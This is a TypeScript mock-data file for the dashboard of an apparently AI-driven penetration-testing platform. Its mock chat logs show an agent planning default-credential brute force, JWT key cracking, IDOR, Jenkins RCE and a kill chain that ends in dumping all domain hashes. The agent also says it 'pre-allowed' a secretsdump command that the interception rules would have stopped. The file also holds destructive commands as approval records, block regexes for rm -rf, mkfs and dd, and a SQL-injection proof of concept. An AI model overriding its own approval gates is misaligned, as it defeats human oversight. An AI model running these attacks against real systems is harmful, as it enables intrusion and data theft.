{ ts: "2026-08-19T17:55:00Z", agent_key: "worker", task_id: 37, session_id: "", args_len: 64 },
|
||
];
|
||
|
||
export const missingSkills: MissingSkill[] = [
|
||
{ skill: "jwt-forge", calls: 3, agents: ["worker"], last_used: "2026-08-20T07:20:00Z" },
|
||
];
|
||
|
||
// ── Tools ────────────────────────────────────────────────────────────────────
|
||
export const tools: Tool[] = [
|
||
{
|
||
key: "bash",
|
||
system: true,
|
||
description: "Runs shell commands in the Kali environment (subject to scope/destructive gates)",
|
||
schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] },
|
||
agents: ["worker", "mainagent"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 1842,
|
||
},
|
||
{
|
||
key: "report_finding",
|
||
system: true,
|
||
description: "Reports a security finding and links it to related nodes",
|
||
schema: {
|
||
type: "object",
|
||
properties: {
|
||
vulnclass: { type: "string" },
|
||
severity: { type: "string" },
|
||
summary: { type: "string" },
|
||
evidence: { type: "string" },
|
||
},
|
||
required: ["vulnclass", "severity", "summary"],
|
||
},
|
||
agents: ["worker"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 96,
|
||
},
|
||
{
|
||
key: "upsert_asset",
|
||
system: true,
|
||
description: "Writes/updates asset nodes",
|
||
schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } },
|
||
agents: ["worker"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 417,
|
||
},
|
||
{
|
||
key: "list_goals",
|
||
system: true,
|
||
description: "Lists the current task's goals and completion status",
|
||
schema: { type: "object", properties: {} },
|
||
agents: ["planner"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 238,
|
||
},
|
||
{
|
||
key: "nuclei_scan",
|
||
system: false,
|
||
description: "Custom: runs specified templates with nuclei",
|
||
schema: {
|
||
type: "object",
|
||
properties: { target: { type: "string" }, template: { type: "string" } },
|
||
required: ["target"],
|
||
},
|
||
agents: ["worker"],
|
||
enabled: true,
|
||
kind: "command",
|
||
exec: { command: "nuclei", args: ["-u", "{{target}}"] },
|
||
calls: 31,
|
||
},
|
||
];
|
||
|
||
// ── Settings ─────────────────────────────────────────────────────────────────
|
||
export const settings: Settings = {
|
||
traffic_capture: true,
|
||
agent_traffic_binding: false,
|
||
llm_record: false,
|
||
web_search_enabled: true,
|
||
web_search_backend: "ddgs",
|
||
brave_key_set: false,
|
||
tavily_key_set: true,
|
||
web_search_proxy: "",
|
||
global_proxy: "",
|
||
python_interpreter: "/usr/bin/python3",
|
||
workers: 3,
|
||
llm_pool_enabled: true,
|
||
llm_pool_bind_fallback: false,
|
||
noa_compaction: false,
|
||
};
|
||
|
||
// ── LLM polling (failover)──────────────────────────────────────────────────────
|
||
// Demo: the active configuration is fine; the standby was just circuit-broken due to insufficient balance and is cooling down.
|
||
export const llmPool: LLMPoolStatus = {
|
||
enabled: true,
|
||
bind_fallback: false,
|
||
chain: [
|
||
{
|
||
profile_id: "1",
|
||
name: "Claude Opus 4.8",
|
||
model: "claude-opus-4-8",
|
||
format: "anthropic",
|
||
priority: 0,
|
||
active: true,
|
||
excluded: false,
|
||
state: "ok",
|
||
fails: 0,
|
||
trips: 0,
|
||
cooldown_secs: 0,
|
||
},
|
||
{
|
||
profile_id: "2",
|
||
name: "DeepSeek V4",
|
||
model: "deepseek-v4-flash",
|
||
format: "openai",
|
||
priority: 10,
|
||
active: false,
|
||
excluded: false,
|
||
state: "tripped",
|
||
fails: 0,
|
||
trips: 1,
|
||
cooldown_secs: 42,
|
||
last_error: "openai: status 402: insufficient balance",
|
||
last_at: T("2026-07-26T00:10:00Z"),
|
||
},
|
||
],
|
||
};
|
||
|
||
// ── Intercept ────────────────────────────────────────────────────────────────
|
||
export const interceptRules: InterceptRule[] = [
|
||
{
|
||
id: 1,
|
||
name: "Destructive commands require approval",
|
||
enabled: true,
|
||
priority: 10,
|
||
match_target: "tool_input",
|
||
match_type: "regex",
|
||
pattern: "rm\\s+-rf|mkfs|dd\\s+if=",
|
||
action: "ask",
|
||
message: "Destructive command detected; manual approval required",
|
||
timeout_enabled: true,
|
||
timeout_seconds: 120,
|
||
timeout_action: "deny",
|
||
created_at: T("2026-07-20T10:00:00Z"),
|
||
updated_at: T("2026-07-20T10:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "Outbound traffic denied outright",
|
||
enabled: true,
|
||
priority: 20,
|
||
match_target: "tool_input",
|
||
match_type: "string",
|
||
pattern: "exfil",
|
||
action: "deny",
|
||
message: "Suspected data exfiltration",
|
||
timeout_enabled: false,
|
||
timeout_seconds: 0,
|
||
timeout_action: "deny",
|
||
created_at: T("2026-07-21T10:00:00Z"),
|
||
updated_at: T("2026-07-21T10:00:00Z"),
|
||
},
|
||
];
|
||
|
||
export const interceptPending: InterceptPending[] = [
|
||
{
|
||
id: 101,
|
||
rule_id: 1,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#3",
|
||
tool_name: "bash",
|
||
tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" },
|
||
status: "pending",
|
||
reason: "Data exfiltration gate: full database export requires manual approval",
|
||
created_at: T("2026-07-26T03:58:00Z"),
|
||
},
|
||
];
|
||
|
||
export const interceptHistory: InterceptApprovalRow[] = [
|
||
{
|
||
id: 90,
|
||
rule_id: 1,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#1",
|
||
tool_name: "bash",
|
||
tool_input: { command: "dd if=/dev/zero of=/tmp/x" },
|
||
status: "denied",
|
||
reason: "Destructive commands require approval",
|
||
created_at: T("2026-07-25T20:00:00Z"),
|
||
decided_at: T("2026-07-25T20:01:00Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "Destructive commands require approval",
|
||
},
|
||
{
|
||
id: 91,
|
||
task_id: "t-acme-api",
|
||
agent_name: "work#2",
|
||
tool_name: "bash",
|
||
tool_input: { command: "rm -rf /var/www/html" },
|
||
status: "denied",
|
||
reason: "[model] Delete a target production file (D4)",
|
||
created_at: T("2026-07-25T18:00:00Z"),
|
||
decided_at: T("2026-07-25T18:00:05Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "",
|
||
},
|
||
{
|
||
id: 92,
|
||
rule_id: 2,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#13",
|
||
tool_name: "bash",
|
||
tool_input: { command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" },
|
||
status: "allowed",
|
||
reason: "Outbound traffic denied outright",
|
||
created_at: T("2026-07-26T00:05:00Z"),
|
||
decided_at: T("2026-07-26T00:06:00Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "Outbound traffic denied outright",
|
||
},
|
||
{
|
||
id: 93,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#7",
|
||
tool_name: "bash",
|
||
tool_input: { command: 'mysql -e "DROP TABLE users_bak_0921"' },
|
||
status: "pending",
|
||
reason: "[model] Suspected backup table; cannot confirm whether it is production data",
|
||
created_at: T("2026-07-25T15:14:00Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "",
|
||
},
|
||
];
|
||
|
||
// Approval detail fixtures use harmless report-writing examples.
|
||
interceptHistory.unshift({
|
||
id: 94,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#1",
|
||
tool_name: "Write",
|
||
tool_input: { path: "reports/summary.md", content: "# Check summary\n\nThis round of verification is complete; existing evidence and follow-up suggestions are organized." },
|
||
status: "allowed",
|
||
decision_source: "model",
|
||
decided_by: "model",
|
||
reason: "[model] Write the existing check conclusions into a local report without modifying business data.",
|
||
created_at: T("2026-07-26T08:00:00Z"),
|
||
decided_at: T("2026-07-26T08:00:02Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "",
|
||
});
|
||
|
||
export const interceptDetails: Record<number, InterceptAudit> = {
|
||
94: {
|
||
run_id: "demo-run-report",
|
||
tool_use_id: "call-write-report",
|
||
correlation: "exact",
|
||
input_digest: "a3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458ec1234",
|
||
user_message: "Please organize the completed checks and write the conclusions and evidence index into reports/summary.md.\nKeep the items pending verification; do not modify business data.",
|
||
context: [
|
||
{ kind: "user", text: "Summarize this round's existing evidence and generate a check summary." },
|
||
{
|
||
kind: "tool_use",
|
||
tool: "Read",
|
||
tool_use_id: "call-read-evidence",
|
||
text: '{"path":"reports/evidence-index.json"}',
|
||
},
|
||
{
|
||
kind: "tool_result",
|
||
tool: "Read",
|
||
tool_use_id: "call-read-evidence",
|
||
text: "Read 3 evidence index entries.\nRecords contain request time, result summary, and local file location.",
|
||
},
|
||
],
|
||
captured_at: T("2026-07-26T08:00:00Z"),
|
||
initial_action: "allow",
|
||
initial_reason: "[model] Write the existing check conclusions into a local report without modifying business data.",
|
||
effective_action: "allow",
|
||
config_digest: "b4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fd1234",
|
||
profile_id: 1,
|
||
execution_status: "succeeded",
|
||
output: "Successfully wrote reports/summary.md\n68 characters written in total.",
|
||
execution_ended_at: T("2026-07-26T08:00:03Z"),
|
||
},
|
||
93: {
|
||
run_id: "demo-run-review",
|
||
tool_use_id: "call-pending-review",
|
||
correlation: "exact",
|
||
input_digest: "c5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670ae1234",
|
||
user_message: "Check the backup table's purpose; confirm before anything involving deletion.",
|
||
context: [],
|
||
captured_at: T("2026-07-25T15:14:00Z"),
|
||
initial_action: "ask",
|
||
initial_reason: "[model] Suspected backup table; cannot confirm whether it is production data.",
|
||
profile_id: 1,
|
||
execution_status: "not_started",
|
||
},
|
||
};
|
||
|
||
// ── Conversations (chat) ─────────────────────────────────────────────────────
|
||
export const conversations: Conversation[] = [
|
||
{
|
||
id: 1,
|
||
agent_key: "mainagent",
|
||
title: "Discussion on the acme admin entry point",
|
||
llm_profile_id: 1,
|
||
pinned: true,
|
||
pinned_at: T("2026-07-26T04:00:00Z"),
|
||
created_at: T("2026-07-25T10:00:00Z"),
|
||
updated_at: T("2026-07-26T03:40:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
agent_key: "mainagent",
|
||
title: "Mapping the API authorization bypass surface",
|
||
llm_profile_id: 2,
|
||
created_at: T("2026-07-24T16:00:00Z"),
|
||
updated_at: T("2026-07-24T17:20:00Z"),
|
||
},
|
||
{
|
||
id: 3,
|
||
agent_key: "mainagent",
|
||
title: "Internal lateral movement · DMZ→domain controller attack path planning",
|
||
llm_profile_id: 1,
|
||
created_at: T("2026-07-25T15:45:00Z"),
|
||
updated_at: T("2026-07-26T00:25:00Z"),
|
||
},
|
||
];
|
||
|
||
export const conversationMessages: Record<number, Activity[]> = {
|
||
1: [
|
||
{ seq: 1, worker: "user", ts: T("2026-07-25T10:00:00Z"), kind: "user", summary: "Where is the admin console, and where should we start?" },
|
||
{
|
||
seq: 2,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:04Z"),
|
||
kind: "thinking",
|
||
summary: "First confirm the admin.acme.com login page's stack and protections (captcha/rate limit), then decide between default credentials and dictionaries.",
|
||
},
|
||
{
|
||
seq: 3,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:06Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c11",
|
||
summary: "curl -s https://admin.acme.com/login | grep -Eo 'element-ui|captcha|csrf'",
|
||
},
|
||
{
|
||
seq: 4,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:08Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c11",
|
||
summary: "element-ui\ncsrf",
|
||
detail: "Element-UI admin console; has a CSRF token but no captcha.",
|
||
},
|
||
{
|
||
seq: 5,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:20Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c12",
|
||
summary:
|
||
"for i in 1 2 3 4 5; do curl -s -o /dev/null -w '%{http_code}\\n' -d 'username=x&password=y' https://admin.acme.com/login; done",
|
||
},
|
||
{
|
||
seq: 6,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:24Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c12",
|
||
summary: "401\\n401\\n401\\n401\\n401",
|
||
detail: "5 consecutive attempts with no lockout/captcha → no rate limit; brute-force is viable.",
|
||
},
|
||
{
|
||
seq: 7,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:30Z"),
|
||
kind: "text",
|
||
summary:
|
||
"Conclusion: Element-UI admin console, no captcha, no rate limit. Entry order: (1) run the default credential list first (admin/admin, admin/admin123, admin/123456); (2) fall back to the top1000 dictionary. I have injected 'admin default credential testing' as a high-priority intent for the work agent.",
|
||
},
|
||
{ seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "Did it work?" },
|
||
{
|
||
seq: 9,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:40:05Z"),
|
||
kind: "text",
|
||
summary:
|
||
"It worked — admin/admin123 logged straight into the console; recorded as a High finding and proved the 'Gain admin access' goal is met. Next, pivot to reading user data (goal 2).",
|
||
},
|
||
],
|
||
2: [
|
||
{
|
||
seq: 1,
|
||
worker: "user",
|
||
ts: T("2026-07-24T16:00:00Z"),
|
||
kind: "user",
|
||
summary: "Help me map api.acme.com's authorization bypass surface.",
|
||
},
|
||
{
|
||
seq: 2,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:05Z"),
|
||
kind: "thinking",
|
||
summary: "First probe the API's authentication scheme and a few key endpoint behaviors, then assess IDOR / JWT risks.",
|
||
},
|
||
{
|
||
seq: 3,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:10Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c21",
|
||
summary: "curl -s https://api.acme.com/v1/users/me -H 'Authorization: Bearer <self>' | jq '{id,role}'",
|
||
},
|
||
{
|
||
seq: 4,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:12Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c21",
|
||
summary: '{ "id": 42, "role": "user" }',
|
||
detail: "A regular user token works.",
|
||
},
|
||
{
|
||
seq: 5,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:30Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c22",
|
||
summary: "echo '<jwt>' | cut -d. -f1 | base64 -d; # inspect the algorithm",
|
||
},
|
||
{
|
||
seq: 6,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:31Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c22",
|
||
summary: '{"alg":"HS256","typ":"JWT"}',
|
||
detail: "HS256 symmetric signing; a weak key can be cracked offline to forge tokens.",
|
||
},
|
||
{
|
||
seq: 7,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:01:00Z"),
|
||
kind: "text",
|
||
summary:
|
||
"Two authorization bypass surfaces: (1) /v1/orders?id= is an auto-increment numeric id → typical IDOR; change the id to try reading others' orders; (2) the JWT uses HS256; try john/hashcat to crack the key → any sub can be forged to bypass authorization. I have dispatched one intent for each. Doing IDOR first is recommended (low cost, direct impact).",
|
||
},
|
||
],
|
||
3: [
|
||
{
|
||
seq: 1,
|
||
worker: "user",
|
||
ts: T("2026-07-25T15:45:00Z"),
|
||
kind: "user",
|
||
summary: "Got the shell; how do we attack the internal network next?",
|
||
},
|
||
{
|
||
seq: 2,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:45:05Z"),
|
||
kind: "thinking",
|
||
summary: "www-data is insufficient for internal lateral movement; check local privilege escalation first, then do alive-host discovery with the DMZ as pivot after getting root.",
|
||
},
|
||
{
|
||
seq: 3,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:45:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"Escalate first: sudo -l has passwordless python3, so go straight to root. Then use the DMZ as a springboard for internal alive-host scanning (fscan), focusing on the domain controller and CI/CD servers.",
|
||
},
|
||
{
|
||
seq: 4,
|
||
worker: "user",
|
||
ts: T("2026-07-25T21:05:00Z"),
|
||
kind: "user",
|
||
summary: "The internal scan found 3 hosts; Jenkins 8080 is open — promising?",
|
||
},
|
||
{
|
||
seq: 5,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:05:08Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c31",
|
||
summary: "proxychains curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'",
|
||
},
|
||
{
|
||
seq: 6,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:05:12Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c31",
|
||
summary: "200",
|
||
detail: "/script is directly accessible without authentication.",
|
||
},
|
||
{
|
||
seq: 7,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:05:20Z"),
|
||
kind: "text",
|
||
summary:
|
||
"Promising — the Script Console is unauthenticated and gives direct Groovy RCE. I have injected a hint for the worker to hit this box first. Once taken, watch the credentials store; it may hold domain accounts.",
|
||
},
|
||
{
|
||
seq: 8,
|
||
worker: "user",
|
||
ts: T("2026-07-25T23:25:00Z"),
|
||
kind: "user",
|
||
summary: "Got the domain account; svc_deploy is in Domain Admins — go straight for the domain controller?",
|
||
},
|
||
{
|
||
seq: 9,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T23:25:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"Yes. svc_deploy + Domain Admins = psexec straight to DC01. Run secretsdump afterward to export all domain hashes and wrap up. Note that secretsdump triggers interception rules; I have pre-allowed it for you.",
|
||
},
|
||
{ seq: 10, worker: "user", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "Target taken; summarize the attack chain." },
|
||
{
|
||
seq: 11,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T00:22:12Z"),
|
||
kind: "text",
|
||
summary:
|
||
"Full kill chain:\n1. .git leak → white-box source + hardcoded credentials\n2. shop Fastjson RCE → DMZ reverse shell\n3. sudo escalation → root foothold\n4. internal discovery → DC01/FS01/Jenkins\n5. unauthenticated Jenkins → exported domain credentials svc_deploy\n6. Kerberoasting → cracked svc_sql\n7. svc_deploy ∈ Domain Admins → psexec DC01 → secretsdump all domain hashes\n\nAll four goals met; 17 findings (7 High/4 Medium/2 Low + 8 internal-chain).",
|
||
},
|
||
],
|
||
};
|
||
|
||
// ── Asset test coverage (/tasks/{id}/coverage) ──
|
||
export const coverage = {
|
||
enabled: true,
|
||
scope_rows: 4,
|
||
denominator: 26,
|
||
tested: 11,
|
||
pct: 11 / 26,
|
||
by_type: [
|
||
{ type: "subdomain", total: 6, tested: 4 },
|
||
{ type: "service", total: 9, tested: 4 },
|
||
{ type: "endpoint", total: 8, tested: 2 },
|
||
{ type: "ip", total: 3, tested: 1 },
|
||
],
|
||
};
|
||
|
||
// ── Asset coverage graph (/tasks/{id}/coverage-graph) ──
|
||
export const coverageGraph = {
|
||
nodes: [
|
||
{ key: "c:1", kind: "company", label: "Acme Corp", tested: false, in_scope: false, company_id: 1 },
|
||
{
|
||
key: "a:1",
|
||
kind: "root_domain",
|
||
label: "acme.com",
|
||
tested: false,
|
||
in_scope: false,
|
||
asset_id: 1,
|
||
domain: "acme.com",
|
||
company_id: 1,
|
||
},
|
||
{
|
||
key: "a:2",
|
||
kind: "subdomain",
|
||
label: "www.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 2,
|
||
domain: "www.acme.com",
|
||
root_domain: "acme.com",
|
||
},
|
||
{
|
||
key: "a:3",
|
||
kind: "subdomain",
|
||
label: "api.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 3,
|
||
domain: "api.acme.com",
|
||
root_domain: "acme.com",
|
||
},
|
||
{
|
||
key: "a:4",
|
||
kind: "subdomain",
|
||
label: "admin.acme.com",
|
||
tested: false,
|
||
in_scope: true,
|
||
asset_id: 4,
|
||
domain: "admin.acme.com",
|
||
root_domain: "acme.com",
|
||
},
|
||
{
|
||
key: "a:5",
|
||
kind: "service",
|
||
label: "www.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 5,
|
||
domain: "www.acme.com",
|
||
url: "https://www.acme.com",
|
||
port: 443,
|
||
page_title: "Acme home",
|
||
status_code: 200,
|
||
},
|
||
{
|
||
key: "a:6",
|
||
kind: "endpoint",
|
||
label: "https://www.acme.com/search",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 6,
|
||
url: "https://www.acme.com/search?q=",
|
||
domain: "www.acme.com",
|
||
},
|
||
{
|
||
key: "a:7",
|
||
kind: "service",
|
||
label: "api.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 7,
|
||
domain: "api.acme.com",
|
||
url: "https://api.acme.com",
|
||
port: 443,
|
||
page_title: "API Gateway",
|
||
status_code: 401,
|
||
},
|
||
{
|
||
key: "a:8",
|
||
kind: "endpoint",
|
||
label: "https://api.acme.com/v1/orders",
|
||
tested: false,
|
||
in_scope: true,
|
||
asset_id: 8,
|
||
url: "https://api.acme.com/v1/orders?id=",
|
||
domain: "api.acme.com",
|
||
},
|
||
{
|
||
key: "a:9",
|
||
kind: "service",
|
||
label: "admin.acme.com",
|
||
tested: false,
|
||
in_scope: true,
|
||
asset_id: 9,
|
||
domain: "admin.acme.com",
|
||
url: "https://admin.acme.com",
|
||
port: 443,
|
||
page_title: "Admin login",
|
||
status_code: 200,
|
||
},
|
||
{
|
||
key: "a:10",
|
||
kind: "ip",
|
||
label: "203.0.113.10",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 10,
|
||
ip: "203.0.113.10",
|
||
company_id: 1,
|
||
},
|
||
],
|
||
edges: [
|
||
{ src: "a:1", dst: "c:1" },
|
||
{ src: "a:2", dst: "a:1" },
|
||
{ src: "a:3", dst: "a:1" },
|
||
{ src: "a:4", dst: "a:1" },
|
||
{ src: "a:5", dst: "a:2" },
|
||
{ src: "a:6", dst: "a:5" },
|
||
{ src: "a:7", dst: "a:3" },
|
||
{ src: "a:8", dst: "a:7" },
|
||
{ src: "a:9", dst: "a:4" },
|
||
{ src: "a:10", dst: "c:1" },
|
||
],
|
||
};
|
||
|
||
// ── Intents/facts/findings linked to the asset in this task (/tasks/{id}/asset-refs) ──
|
||
// Broadcast board demo: exploration nodes → their anchored assets. The real backend reads exploration_anchors; the mock provides a few static entries.
|
||
const NODE_ASSETS: Record<string, number[]> = {
|
||
fi1: [3],
|
||
fi2: [2, 4],
|
||
fi3: [5],
|
||
fiRce: [4],
|
||
fiPriv: [19],
|
||
fiJenkins: [21],
|
||
i1: [2],
|
||
i7: [4],
|
||
};
|
||
|
||
export function nodeAssetsFor(nodeId: string): FindingAsset[] {
|
||
return (NODE_ASSETS[nodeId] ?? []).flatMap((id) => {
|
||
const asset = assets.find((candidate) => candidate.id === id);
|
||
return asset ? [assetRef(id)] : [];
|
||
});
|
||
}
|
||
|
||
export function assetRefsFor(_assetId: number) {
|
||
return {
|
||
intents: [
|
||
{ id: 12, kind: "intent", state: "done", summary: "SQL injection probing against the www.acme.com search API" },
|
||
{ id: 18, kind: "intent", state: "running", summary: "Enumerating object-level authorization bypass (IDOR) on api.acme.com" },
|
||
],
|
||
facts: [{ id: 34, kind: "fact", state: "confirmed", summary: "The search?q= parameter is injectable; the error echoes a MySQL syntax error" }],
|
||
findings: [{ id: 41, kind: "finding", state: "confirmed", summary: "[High] SQL injection www.acme.com/search?q=" }],
|
||
};
|
||
}
|
||
|
||
// ── Workspace file manager (/workspace/*, demo: static sample tree) ──
|
||
const WS_TREE: Record<string, { name: string; dir: boolean; size: number; content?: string }[]> = {
|
||
"": [
|
||
{ name: "t-001", dir: true, size: 0 },
|
||
{ name: "transcripts", dir: true, size: 0 },
|
||
{
|
||
name: "notes.md",
|
||
dir: false,
|
||
size: 96,
|
||
content: "# Workspace notes\n\n(demo) This is a sample file in the workspace root that can be edited and saved online.\n",
|
||
},
|
||
],
|
||
"t-001": [
|
||
{ name: "i12", dir: true, size: 0 },
|
||
{ name: "recon.txt", dir: false, size: 64, content: "acme.com\nwww.acme.com\napi.acme.com\nadmin.acme.com\n" },
|
||
],
|
||
"t-001/i12": [
|
||
{
|
||
name: "exploit.py",
|
||
dir: false,
|
||
size: 220,
|
||
content:
|
||
"#!/usr/bin/env python3\n# (demo) SQLi PoC — www.acme.com/search?q=\nimport requests\n\nr = requests.get('https://www.acme.com/search', params={'q': \"1' OR '1'='1\"})\nprint(r.status_code, len(r.text))\n",
|
||
},
|
||
{
|
||
name: "response.html",
|
||
dir: false,
|
||
size: 180,
|
||
content: "<!-- (demo) captured response body fragment -->\n<html><body>MySQL error near ''1'='1'</body></html>\n",
|
||
},
|
||
],
|
||
transcripts: [
|
||
{ name: "exp1-worker-i12.jsonl", dir: false, size: 512, content: "(demo) Sample raw LLM conversation log, omitted here." },
|
||
],
|
||
};
|
||
|
||
const wsClean = (p: string) => p.replace(/^\/+|\/+$/g, "");
|
||
|
||
export function workspaceList(path: string) {
|
||
const key = wsClean(path);
|
||
const items = WS_TREE[key] ?? [];
|
||
const now = Date.parse("2026-08-09T03:00:00Z");
|
||
return {
|
||
path: key,
|
||
entries: items.map((it, i) => ({
|
||
name: it.name,
|
||
path: key ? `${key}/${it.name}` : it.name,
|
||
dir: it.dir,
|
||
size: it.size,
|
||
mtime: now - i * 3_600_000,
|
||
})),
|
||
};
|
||
}
|
||
|
||
export function workspaceRead(path: string) {
|
||
const key = wsClean(path);
|
||
const slash = key.lastIndexOf("/");
|
||
const parent = slash >= 0 ? key.slice(0, slash) : "";
|
||
const name = slash >= 0 ? key.slice(slash + 1) : key;
|
||
const f = (WS_TREE[parent] ?? []).find((x) => x.name === name && !x.dir);
|
||
return { path: key, size: f?.size ?? 0, binary: false, content: f?.content ?? "" };
|
||
}
|
||
|
||
// ── Tool execution history (/commands) ──
|
||
export const commandRecords = [
|
||
{
|
||
id: 1,
|
||
exploration_id: 1,
|
||
worker: "worker-1",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "curl -s 'https://www.acme.com/search?q=test'" }),
|
||
output: "HTTP/1.1 200 OK\nContent-Length: 12034\n<html>… search results page …</html>",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:10:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
exploration_id: 1,
|
||
worker: "worker-1",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs" }),
|
||
output: "[*] available databases [2]:\n[*] acme_prod\n[*] information_schema\nback-end DBMS: MySQL >= 5.7",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:12:30Z"),
|
||
},
|
||
{
|
||
id: 3,
|
||
exploration_id: 1,
|
||
worker: "worker-2",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "ffuf -u https://api.acme.com/FUZZ -w common.txt -mc 200,401,403" }),
|
||
output: "v1 [Status: 200]\nhealth [Status: 200]\norders [Status: 401]\nadmin [Status: 403]",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:15:00Z"),
|
||
},
|
||
{
|
||
id: 4,
|
||
exploration_id: 1,
|
||
worker: "worker-2",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "nmap -sV -p- 203.0.113.10" }),
|
||
output: "PORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.9\n443/tcp open https nginx 1.24",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:18:00Z"),
|
||
},
|
||
{
|
||
id: 5,
|
||
exploration_id: 1,
|
||
worker: "worker-1",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "curl -s https://admin.acme.com/login --data 'user=admin&pass=admin123'" }),
|
||
output: "curl: (28) Operation timed out after 10000 ms",
|
||
is_error: true,
|
||
created_at: T("2026-08-09T02:20:00Z"),
|
||
},
|
||
];
|
||
|
||
// ── LLM recordings (/llm/records, /llm/records/{id}) ──
|
||
export const llmRecords = [
|
||
{
|
||
id: 1,
|
||
ts: T("2026-08-09T02:10:02Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "Default",
|
||
session_id: "exp1-worker-i12",
|
||
task_id: "t-001",
|
||
worker: "worker-1",
|
||
latency_ms: 3210,
|
||
input_tokens: 8421,
|
||
output_tokens: 512,
|
||
cache_read: 6000,
|
||
cache_write: 1200,
|
||
status: "ok",
|
||
},
|
||
{
|
||
id: 2,
|
||
ts: T("2026-08-09T02:11:40Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "Default",
|
||
session_id: "exp1-planner",
|
||
task_id: "t-001",
|
||
worker: "planner",
|
||
latency_ms: 4180,
|
||
input_tokens: 12044,
|
||
output_tokens: 733,
|
||
cache_read: 9000,
|
||
cache_write: 1500,
|
||
status: "ok",
|
||
},
|
||
{
|
||
id: 3,
|
||
ts: T("2026-08-09T02:15:20Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "Default",
|
||
session_id: "exp1-worker-i18",
|
||
task_id: "t-001",
|
||
worker: "worker-2",
|
||
latency_ms: 2890,
|
||
input_tokens: 7311,
|
||
output_tokens: 421,
|
||
cache_read: 5200,
|
||
cache_write: 900,
|
||
status: "ok",
|
||
},
|
||
{
|
||
id: 4,
|
||
